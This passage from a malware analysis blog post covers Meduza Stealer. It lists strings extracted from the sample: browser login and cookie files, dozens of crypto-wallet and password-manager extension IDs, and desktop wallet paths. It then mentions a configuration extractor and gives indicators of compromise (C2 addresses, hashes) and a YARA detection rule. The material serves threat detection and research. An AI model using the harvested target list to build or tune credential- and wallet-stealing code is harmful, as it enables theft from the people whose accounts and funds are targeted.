0x438d40: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x435e94: Local Extension Settings
0x435854: chromium_browsers
0x434c15: formhistory.sqlite
0x434a51: autofill-profiles.json
0x4341b5: Login Data For Account
0x433ff1: Login Data For Account
0x4333a5: Extension Cookies
0x4331e1: Extension Cookies
0x43295f: dhgnlgphgchebgoemcjekedjjbifijid
0x43260e: egjidjbpglichdcondbcbdnbeeppgdph
0x4322cc: aholpfdialjgjfhomihkjbmgjidlcdno
0x431f90: hnhobjmcibchnmglfbldbfabcgaknlkj
0x431bd0: apnehcjmnengpnmccpaibjmhhoadaico
0x431810: gojhcdgcpbpfigcaejpfhfegekdgiblk
0x431450: odbfpeeihdkbihmopkbjmoonfanlbfcl
0x431090: cihmoadaighcejopammfbmddcmdekcje
0x430cd2: dngmlblcodfobpdpecaadgfbcggfjfnm
0x430a5f: Maiar DeFi Wallet
0x430860: lpfcbjknijpeeillifnkikgncikgfhdo
0x4304a0: acdamagkdfmpkclpoglgnbddngblgibo
0x4300e0: kmhcihpebfmpgmihbkipmjlmmioameka
0x42fd20: nlgbhdfgdhgbiamfdfmbikcdghidoadd
0x42f960: klnaejjgbibmhlephnhpmaofohgkpgkd
0x42f5a0: jojhfeoedkpkglbfimdfabpdfjaoolaf
0x42f1e0: nhnkbkgjikgcigadomkphalanndcapjk
0x42ee20: cnmamaachppnkjgnildpdmkaakejnhae
0x42ea60: jnmbobjmhlngoefaiojfljckilhhlhcj
0x42e6a0: hcflpincpppdclinealmandijcmnkbgn
0x42e2e0: hmeobnfnfcmdkdcmlblgagmfpfboieaf
0x42df20: nknhiehlklippafakaeklbeglecifhad
0x42db60: cphhlgmgameodnhkjdmkpanlelnlohao
0x42d7a0: acmacodkjbdgmoleebolmdjonilkdbch
0x42d3e0: pdadjkfkgcafgbceimcpbkalnfnepbnk
0x42d020: aiifbnbfobpmeekipheeijimdpnlpgpp
0x42cc60: cnmamaachppnkjgnildpdmkaakejnhae
0x42c8a0: ojbpcbinjmochkhelkflddfnmcceomdi
0x42c4e0: epapihdplajcdnnkdeiahlgigofloibg
0x42c120: efbglgofoippbgcjepnhiblaibcnclgk
0x42bd60: dkdedlpgdmmkkfjabffeganieamfklkm
0x42b9a0: gjagmgiddbbciopjhllkdnddhcglnemk
0x42b5e0: ifckdpamphokdglkkdomedpdegcjhjdp
0x42b220: mnfifefkajgofkcjkemidiaecocnkjeh
0x42ae60: jnkelfanjkeadonecabehalmbgpfodjm
0x42aaa2: onhogfjeacnfoofkfgppdlbmlmnplgbn
0x42a82f: SubWallet (Polkadot)
0x42a632: bcopgchhojmggmffilplmbdicgaihlkp
0x42a3bf: Hycon Lite Client
0x42a1c0: jnmbobjmhlngoefaiojfljckilhhlhcj
0x429e02: cjelfplplebdjjenllpjcblmjkfcffne
0x429b8f: Jaxx Liberty (Web)
0x429990: nlbmnnijcnlegkjjpcfjclmcfggfefdm
0x4295d0: hnfanknocfeofbddgcijnmhnfnkdnaad
0x429210: amkmjjmmflddogmhpjloimipbofnfjih
0x428e50: kncchdigobghenbbaddojjnnaogfppfj
0x428a90: ffnbelfdoeiohenkjibnmadjiehjhajb
0x4286d0: bhhhlbepdkbapadjdnnojkbgioiodbic
0x428310: phkbamefinggmakgklpkljjmgibohnba
0x427f50: ookjlbkiijinhpmnjffcofjonbfbgaoc
0x427b90: ppdadbejkmjnefldpcdjhnkpbjkikoip
0x4277d0: kjmoohlgokccodicjjfebfomlbljgfhk
0x427410: fnjhmkhhmkbjkkabndcnnogagogbneec
0x427050: kpfopkelmapcoipemfendmdcghnegimn
0x426c90: jbdaocneiiinmjbjlgalhcelgbejmnid
0x4268d0: fhilaheimglignddkjgofkcbgekhenbh
0x426510: pnlfjmlcjdjgkddecgincndfgegkecke
0x426150: dmkamcknogkgcdfhhbddcghachkejeap
0x425d90: cjmkndjhnagcfbpiemnkdpomccnjblmj
0x4259d0: cmndjbecilbocjfkibfbifhngkdmjgog
0x425610: bkklifkecemccedpkhcebagjpehhabfb
0x425250: ldinpeekobnhjjdofggfgjlcehhmanlj
0x424e90: mfhbebgoclkghebffdldpobeajmbecfk
0x424ad0: ippiokklhjjdlmmonmjimgbgnnllcleg
0x424710: pocmplpaccanhmnllbbkpgfliimjljgo
0x424350: fhmfendgdocmcbmfikdcogofphimnkno
0x423f90: nphplpgoakhhjchkkhmiggakijnkhfnd
0x423bd0: bocpokimicclpaiekenaeelehdjllofo
0x423810: mfgccjchihfkkindfppnaooecgfneiii
0x423450: ibnejdfjmmkpcnlpebklmnkoeoihofec
0x423090: bfnaelmomeimhlpmgjnjophhpkkoljpa
0x422cd0: fcckkdbjnoikooededlapcalpionmalo
0x422910: dfeccadlilpndjjohbjdblepmjeahlmm
0x422550: afbcbjpbpfadlkmhmclhkeeodmamcflc
0x422190: flpiciilemghbmfalicajoolhkkenfel
0x421dd0: dfmbcapkkeejcpmfhpnglndfkgmalhik
0x421a10: abkahkcbhngaebpcgfmhkoioedceoigp
0x421650: nanjmdknhkinifnkgdcggcfnhdaammmj
0x421290: blnieiiffboillknjnepogjhkgnoapac
0x420ee0: hpglfhgfnhbgpjdenjgmdgoeiappafln
0x420b20: lodccjjbdhfakaekdiahmedfbieldgik
0x420760: apenkfbbpmhihehmihndmmcdanacolnh
0x4203a0: lgmpcpglpngdoalbgeoldeajfclnhafa
0x41ffe0: aeachknmefphepccionboohckonoeemg
0x41fc20: fihkakfobkmkjojpchpfgcmhfjnmnfpi
0x41f860: fhbohimaelbohpjbbldcngcnapndodjp
0x41f4a2: djclckkglechooblngghdinmeemkbgci
0x41f22f: Metamask (Opera)
0x41f030: ejbalbakoplchlghecdalmeeeajnimhm
0x41ec85: nkbihfbeogaeaoehlefnkodbefgpgknn
0x41e828: gaedmjdfmmahhbjefcbgaolhhanlaolb
0x41e488: igkpcodhieompeloncfnbekccinhapdb
0x41e0e8: nhhldecdfagpbfggphklkaeiocfnaafm
0x41dd48: chgfefjpcobfbnpmiokfjjaglahmnded
0x41d9a8: jhfjfclepacoldmjmkmdlmganfaalklb
0x41d608: nofkfblpeailgignhkbnapbephdnmbmn
0x41d268: bmikpgodpkclnkgmnpphehdgcimmided
0x41cec8: naepdomgkenhinolocfifgehidddafch
0x41cb28: bbcinlkgjjkejfdpemiealijmmooekmp
0x41c788: hdokiejnpimakedhajhdlcegeplioahd
0x41c3ec: ljfpcifpgbbchoddpjefaipoiigpdmag
0x41c181: RoboForm (Web Edge)
0x41bf98: pnlccmojcmeohlpggmfnbbiapkmbliob
0x41bc08: bfogiafebfohielmmehodmfbbebbbpei
0x41b868: fooolghllnmhmmndgjiamiiodkpenpbb
0x41b4dc: jbkfoedolllekgbhcbcoahefnbanhhlh
0x41b271: Bitwarden (Edge)
0x41b088: nngceckbapebfimnlniiiahkandclblb
0x41ace8: gehmmocbbkpblljhkekmfhjpfbkclbph
0x41a948: fdjamakpfbbddfjaooikfcpapjohcfmg
0x41a5bc: pdffhmdngciaglkoonimfcmckehcpafo
0x41a351: KeePassXC (Web Edge)
0x41a168: oboonakemofpalcgghocfoadofidjkkk
0x419ddc: dppgmdbiimibapkepcbdbmkaabgiofem
0x419b71: 1Password (Edge)
0x419988: aeblfdkhhhdcdjpifhhbdiojplfjncoa
0x4195fc: oeljdldpnmdbchonielidgobddffflal
0x419391: EOS Authenticator
0x4191ac: ilgcnhelpchnceeipipijaljkblbcobl
0x418f41: GAuth Authenticator
0x418d5c: imloifkgjagghnncjkhggdhalmcnfklk
0x418af1: Trezor Password Manager
0x418908: ocglkepbibnalbgmbachknglpdipeoio
0x418696: Authenticator (Edge)
0x4184ae: bhghoamapcdpbohphigoooaddinpkbai
0x418083: FlashPeak\SlimBrowser
0x417db2: BitTube\BitTubeBrowser
0x417ae1: Moonchild Productions\Basilisk
0x4175f4: Moonchild Productions\Pale Moon
0x417323: NETGATE Technologies\BlackHawk
0x417052: 8pecxstudios\Cyberfonx
0x416d81: Comodo\IceDragon
0x416262: Mozilla\SeaMonkey
0x415ac1: Naver\Naver Whale
0x4157e6: ViaSat\Viasat Browser
0x415515: InsomniacBrowser
0x415351: InsomniacBrowser
0x414095: CryptoTab Browser
0x413ed1: CryptoTab Browser
0x4136b1: UCBrowser\User Data_i18n
0x4131c1: AVAST Software\Browser
0x412455: CCleaner Browser
0x412291: CCleaner Browser
0x411629: Rafotech\Mustang
0x411465: Rafotech Mustang
0x4112a1: MapleStudio\ChromePlus
0x410971: Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x410944: Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x410635: Sleipnir5 ChromiumViewer
0x410471: CatalinaGroup\Citrio
0x410199: Elements Browser
0x40ffd5: Elements Browser
0x40fe11: Opera Software\Opera GX Stable
0x40fb18: Opera Software\Opera Crypto Developer
0x40f8a6: Opera Crypto Developer
0x40f6e2: Opera Software\Opera Neon
0x40f411: Opera Software\Opera Stable
0x40e8c1: Yandex\YandexBrowser
0x40db2c: Safer Technologies\Secure Browser
0x40d8c1: Safer Secure Browser
0x40d2c1: Lenovo\SLBrowser
0x40cbb3: Tencent\QQBrowser
0x40c8e2: Maxthon\Application
0x40c611: Maxthon5\Users\guest\MagicFill
0x40c015: 360 Secure Browser
0x40be51: 360Browser\Browser
0x40a879: Epic Privacy Browser
0x40a6b5: Epic Privacy Browser
0x40a4f1: BraveSoftware\Brave-Browser
0x409e06: 360ChromeX\Chrome
0x409b35: Google\Chrome SxS
0x409971: Google Chrome SxS
0x4097a9: Google(x86)\Chrome
0x4095e5: Google Chrome (x86)
0x409421: Google\Chrome Beta
0x409257: Google Chrome Beta
0x408dc1: DiscordDevelopment
0x40850b: Zap\Local Storage\leveldb
0x40823b: Bisq\btc_mainnet\wallet
0x407f6b: Bisq\btc_mainnet\keys
0x407c8b: atomic_qt\config
0x4079ab: MyCrypto\Local Storage\leveldb
0x4076cf: MyMonero\Local Storage\leveldb
0x407501: Daedalus Mainnet
0x40733b: Daedalus Mainnet
0x406c0f: Binance\Local Storage\leveldb
0x404d2b: ElectronCash\config
0x404a4b: ElectronCash\wallets
0x40476b: WalletWasabi\Client\Config.json
0x40448b: WalletWasabi\Client\Wallets
0x4041ab: Guarda\Local Storage\leveldb
0x403ecf: atomic\Local Storage\leveldb
0x4039cb: Electrum-LTC\config
0x4036ef: Electrum-LTC\wallets
0x4031eb: Electrum\wallets
0x402f0f: Ethereum\keystore
0x402a1b: Exodus\exodus.wallet
0x402747: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x40271a: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x4011c3: Coinomi\Coinomi\wallets

Meduza Stealer Configuration Extractor

I was also inspired by @herrcore research with Unicorn Engine implementation and wrote the configuration extractor that grabs the C2 and build name on most samples. The extractor was written using Unicorn Engine and Python. It was my first time messing with Unicorn Engine, so any feedback is welcome.

config_extract.jpg

You can grab the configuration from my GitHub page as well.

Indicators Of Compromise

NameIndicators
C279.137.203.39
C277.105.147.140
C279.137.207.132
C279.137.203.37
C279.137.203.6
C2185.106.94.105
SHA-256702abb15d988bba6155dd440f615bbfab9f3c0ed662fc3e64ab1289a1098af98
SHA-2562ad84bfff7d5257fdeb81b4b52b8e0115f26e8e0cdaa014f9e3084f518aa6149
SHA-256f0c730ae57d07440a0de0889db93705c1724f8c3c628ee16a250240cc4f91858
SHA-2561c70f987a0839d11826f053ae90e81a277fa154f5358303fe9a511dbe8b529f2
SHA-256cbc07d45dd4967571f86ae75b120b620b701da11c4ebfa9afcae3a0220527972
SHA-256afbf62a466552392a4b2c0aa8c51bf3bde84afbe5aa84a2483dc92e906421d0a
SHA-2566d8ed1dfcb2d8a9e3c2d51fa106b70a685cbd85569ffabb5692100be75014803
SHA-256ddf3604bdfa1e5542cfee4d06a4118214a23f1a65364f44e53e0b68cbfc588ea
SHA-256f575eb5246b5c6b9044ea04610528c040c982904a5fb3dc1909ce2f0ec15c9ef
SHA-25691efe60eb46d284c3cfcb584d93bc5b105bf9b376bee761c504598d064b918d4
SHA-256a73e95fb7ba212f74e0116551ccba73dd2ccba87d8927af29499bba9b3287ea7

Yara Rule

rule MeduzaStealer {
	meta:
		author = "RussianPanda"
		description = "Detects MeduzaStealer" 
		date = "6/27/2023"

	strings:
		$s1 = {74 69 6D 65 7A 6F 6E 65}
		$s2 = {75 73 65 72 5F 6E 61 6D 65}
		$s3 = {67 70 75}
		$s4 = {63 75 72 72 65 6E 74 5F 70 61 74 68 28 29}
		$s5 = {C5 FD EF}
		$s6 = {66 0F EF}

	condition:
		all of them and filesize < 700KB
}
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Posts navigation

Older posts

Recent Posts

  • New Malicious PyPI Packages used by Lazarus(By Shusei Tomonaga)
  • Recent Cases of Watering Hole Attacks, Part 1(By Shusei Tomonaga)
  • Recent Cases of Watering Hole Attacks Part 2(By Shusei Tomonaga)
  • Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup(By Hayato Sasaki)
  • SPAWNCHIMERA Malware: The Chimera Spawning from Ivanti Connect Secure Vulnerability(By Yuma Masubuchi)
  • DslogdRAT Malware Installed in Ivanti Connect Secure(By Yuma Masubuchi)
  • DslogdRAT Malware Targets Ivanti Connect Secure via CVE-2025-0282 Zero-Day Exploit
  • Lazarus Group’s “Operation SyncHole” Targets South Korean Industries
  • North Korean APT ‘Contagious Interview’ Launches Fake Crypto Companies to Spread Malware Trio
  • SocGholish and RansomHub: Sophisticated Attack Campaign Targeting Corporate Networks
  • Critical Flaw Exposes Linux Security Blind Spot: io_uring Bypasses Detection
  • Discord Used as C2 for Stealthy Python-Based RAT
  • Earth Kurma APT Targets Southeast Asia with Stealthy Cyberespionage
  • Triada Trojan Evolves: Pre-Installed Android Malware Now Embedded in Device Firmware
  • Fake GIF and Reverse Proxy Used in Sophisticated Card Skimming Attack on Magento
  • Fog Ransomware Group Exposed: Inside the Tools, Tactics, and Victims of a Stealthy Threat
  • Weaponized Uyghur Language Software: Citizen Lab Uncovers Targeted Malware Campaign
  • 4Chan Resumes Operation After Hack, Cites Funding Issues
  • ResolverRAT Targets Healthcare and Pharmaceutical Sectors Through Sophisticated Phishing Attacks
  • CVE-2024-8190: Investigating CISA KEV Ivanti Cloud Service Appliance Command Injection Vulnerability
  • Dissecting the Cicada
  • LockBit Analysis
  • Attacking PowerShell CLIXML Deserialization
  • Threat Hunting Report: GoldPickaxe
  • Exploiting Microsoft Kernel Applocker Driver (CVE-2024-38041)
  • Acquiring Malicious Browser Extension Samples on a Shoestring Budget
  • Type Juggling and Dangers of Loose Comparisons
  • Exploring Deserialization Attacks and Their Effects
  • Hunting for Unauthenticated n-days in Asus Routers
  • Element Android CVE-2024-26131, CVE-2024-26132 – Never Take Intents From Strangers
  • A Journey From sudo iptables To Local Privilege Escalation
  • AlcaWASM Challenge Writeup – Pwning an In-Browser Lua Interpreter
  • Fortinet Confirms Third-Party Data Breach Amid Hacker’s 440 GB Theft Claim
  • Adversary Emulation is a Complicated Profession – Intelligent Cyber Adversary Emulation with the Bounty Hunter
  • Cloudflare blocks largest recorded DDoS attack peaking at 3.8Tbps
  • RPKI Security Under Fire: 53 Vulnerabilities Exposed in New Research
  • CVE-2024-5102: Avast Antivirus Flaw Could Allow Hackers to Delete Files and Run Code as SYSTEM
  • Build Your Own Google: Create a Custom Search Engine with Trusted Sources
  • Rogue AI: What the Security Community is Missing
  • Ransomware Roundup – Underground
  • Emansrepo Stealer: Multi-Vector Attack Chains
  • Threat Actors Exploit GeoServer Vulnerability CVE-2024-36401
  • In-depth analysis of Pegasus spyware and how to detect it on your iOS device
  • GoldPickaxe exposed: How Group-IB analyzed the face-stealing iOS Trojan and how to do it yourself
  • Beware CraxsRAT: Android Remote Access malware strikes in Malaysia
  • Boolka Unveiled: From web attacks to modular malware
  • Ajina attacks Central Asia: Story of an Uzbek Android Pandemic
  • SMTP/s — Port 25,465,587 For Pentesters
  • POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal
  • Unauthenticated RCE Flaw in Rejetto HTTP File Server – CVE-2024-23692
  • CVE-2024–23897 — Jenkins File Read Vulnerability — POC
  • Why Django’s [DEBUG=True] is a Goldmine for Hackers
  • Extracting DDosia targets from process memory
  • Dynamic Binary Instrumentation for Malware Analysis
  • Meduza Stealer or The Return of The Infamous Aurora Stealer
  • Unleashing the Viper : A Technical Analysis of WhiteSnake Stealer
  • MetaStealer – Redline’s Doppelgänger
  • Pure Logs Stealer Fails to Impress
  • MetaStealer Part 2, Google Cookie Refresher Madness and Stealer Drama
  • From Russia With Code: Disarming Atomic Stealer

Recent Comments

  1. Maq Verma on Turla APT used two new backdoors to infiltrate a European ministry of foreign affairs
  2. binance Registrera on Turla APT used two new backdoors to infiltrate a European ministry of foreign affairs
  3. Hal on FBI: BlackSuit ransomware made over $500 million in ransom demands
  4. canadian pharmaceuticals on Linux: Mount Remote Directories With SSHFS
  5. situs togel resmi on Extracting DDosia targets from process memory

Archives

  • April 2025 (19)
  • November 2024 (20)
  • October 2024 (13)
  • September 2024 (2)
  • August 2024 (119)
  • July 2024 (15)

Categories

  • Crack Tutorials
  • Cyber Attacks
  • Data Breaches
  • Exploits
  • Programming
  • Tools
  • Vulnerability

Site Visitors

  • Users online: 0 
  • Visitors today : 3
  • Page views today : 3
  • Total visitors : 2,215
  • Total page view: 2,824

$22 Million AWS Bitmagnet BlackCat Bytecode CrowdStrike Cyber Attacks cyber security Data Breach Data Security DDOS Decentralized Encryption fake github Indexer Injection Activity kernel Linux Maestro malware Microsoft Model Architecture Netflix Open Source Phishing Phishing Scam Programming Ransomware Reverse Engineering Safe Delete Safe Erase Scam Security tool Software Crack Software Design software protection SOLID SOLID Principles Sophos Intercept X Advanced Spyware Tools Torrent TryCloudflare vulnerability Workflow Engine

Proudly powered by Admiration Tech News | Copyright ©2023 Admiration Tech News | All Rights Reserved